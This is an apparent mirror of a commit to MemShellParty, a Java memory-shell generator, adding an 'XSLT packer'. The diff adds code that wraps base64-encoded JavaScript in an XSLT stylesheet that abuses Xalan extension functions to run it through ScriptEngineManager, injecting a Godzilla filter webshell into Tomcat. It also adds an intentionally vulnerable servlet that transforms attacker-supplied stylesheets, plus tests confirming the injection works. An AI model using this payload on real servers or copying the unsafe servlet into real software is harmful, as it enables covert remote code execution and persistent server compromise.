mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: add XSLT packer
This commit is contained in:
@@ -445,6 +445,7 @@ public class ShellAssertion {
|
|||||||
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
||||||
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
|
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
|
||||||
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
||||||
|
case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content);
|
||||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||||
|
|||||||
+58
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/8/30
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Tomcat8XSLTContainerTest {
|
||||||
|
public static final String imageName = "tomcat:8-jre8";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -53,6 +53,8 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
|||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.packer.xslt.XSLTPacker;
|
||||||
|
import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker;
|
||||||
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
|
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
|
||||||
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
|
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
|
||||||
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
|
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
|
||||||
@@ -154,6 +156,12 @@ public enum Packers {
|
|||||||
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
|
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
|
||||||
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
|
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* XSLT 打包器
|
||||||
|
*/
|
||||||
|
XSLT(new XSLTPacker()),
|
||||||
|
XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Java 反序列化打包器
|
* Java 反序列化打包器
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.packer.xslt;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/8/30
|
||||||
|
*/
|
||||||
|
public class XSLTPacker implements AggregatePacker {
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package com.reajason.javaweb.packer.xslt;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the
|
||||||
|
* JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6,
|
||||||
|
* removed in JDK11) and evaluates it through the built-in ScriptEngineManager
|
||||||
|
* js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8).
|
||||||
|
*
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/8/30
|
||||||
|
*/
|
||||||
|
public class XSLTScriptEnginePacker implements Packer {
|
||||||
|
String template = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
|
||||||
|
"xmlns:base=\"http://xml.apache.org/xalan/java/javax.xml.bind.DatatypeConverter\" " +
|
||||||
|
"xmlns:stringclazz=\"http://xml.apache.org/xalan/java/java.lang.String\" " +
|
||||||
|
"xmlns:jsclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\" " +
|
||||||
|
"xmlns:jseclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\" " +
|
||||||
|
"exclude-result-prefixes=\"base stringclazz jsclazz jseclazz\">" +
|
||||||
|
"<xsl:template match=\"/\">" +
|
||||||
|
"<xsl:variable name=\"payload\" select=\"stringclazz:new(base:parseBase64Binary('{{base64Str}}'))\"/>" +
|
||||||
|
"<xsl:variable name=\"jsobj\" select=\"jsclazz:new()\"/>" +
|
||||||
|
"<xsl:variable name=\"jso\" select=\"jsclazz:getEngineByName($jsobj,'js')\"/>" +
|
||||||
|
"<xsl:variable name=\"jse\" select=\"jseclazz:eval($jso,$payload)\"/>" +
|
||||||
|
"<xsl:value-of select=\"$jse\"/>" +
|
||||||
|
"</xsl:template>" +
|
||||||
|
"</xsl:stylesheet>";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String js = Packers.DefaultScriptEngine.getInstance().pack(config);
|
||||||
|
return template.replace("{{base64Str}}",
|
||||||
|
Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8)));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
package com.reajason.javaweb.packer.xslt;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
class XSLTPackerTest {
|
||||||
|
|
||||||
|
private static ClassPackerConfig config(String className) {
|
||||||
|
ClassPackerConfig config = new ClassPackerConfig();
|
||||||
|
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
|
||||||
|
config.setClassName(className);
|
||||||
|
config.setClassBytes(classBytes);
|
||||||
|
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
|
||||||
|
return config;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void packScriptEngine() {
|
||||||
|
String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test"));
|
||||||
|
|
||||||
|
assertTrue(payload.startsWith("<xsl:stylesheet"));
|
||||||
|
assertTrue(payload.contains("DatatypeConverter"));
|
||||||
|
assertTrue(payload.contains("ScriptEngineManager"));
|
||||||
|
// the inner js payload is base64 encoded, class name should not appear in plain text
|
||||||
|
assertFalse(payload.contains("com.example.Test"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.xml.transform.Transformer;
|
||||||
|
import javax.xml.transform.TransformerFactory;
|
||||||
|
import javax.xml.transform.stream.StreamResult;
|
||||||
|
import javax.xml.transform.stream.StreamSource;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.StringReader;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/8/30
|
||||||
|
*/
|
||||||
|
public class XSLTServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
try {
|
||||||
|
TransformerFactory factory = TransformerFactory.newInstance();
|
||||||
|
Transformer transformer = factory.newTransformer(new StreamSource(new StringReader(data)));
|
||||||
|
transformer.transform(new StreamSource(new StringReader("<?xml version=\"1.0\" encoding=\"UTF-8\"?><root/>")),
|
||||||
|
new StreamResult(resp.getWriter()));
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -33,6 +33,15 @@
|
|||||||
<url-pattern>/js</url-pattern>
|
<url-pattern>/js</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>xslt</servlet-name>
|
||||||
|
<servlet-class>XSLTServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>xslt</servlet-name>
|
||||||
|
<url-pattern>/xslt</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
<servlet>
|
<servlet>
|
||||||
<servlet-name>java-deserialize</servlet-name>
|
<servlet-name>java-deserialize</servlet-name>
|
||||||
<servlet-class>JavaReadObjServlet</servlet-class>
|
<servlet-class>JavaReadObjServlet</servlet-class>
|
||||||
|
|||||||
Reference in New Issue
Block a user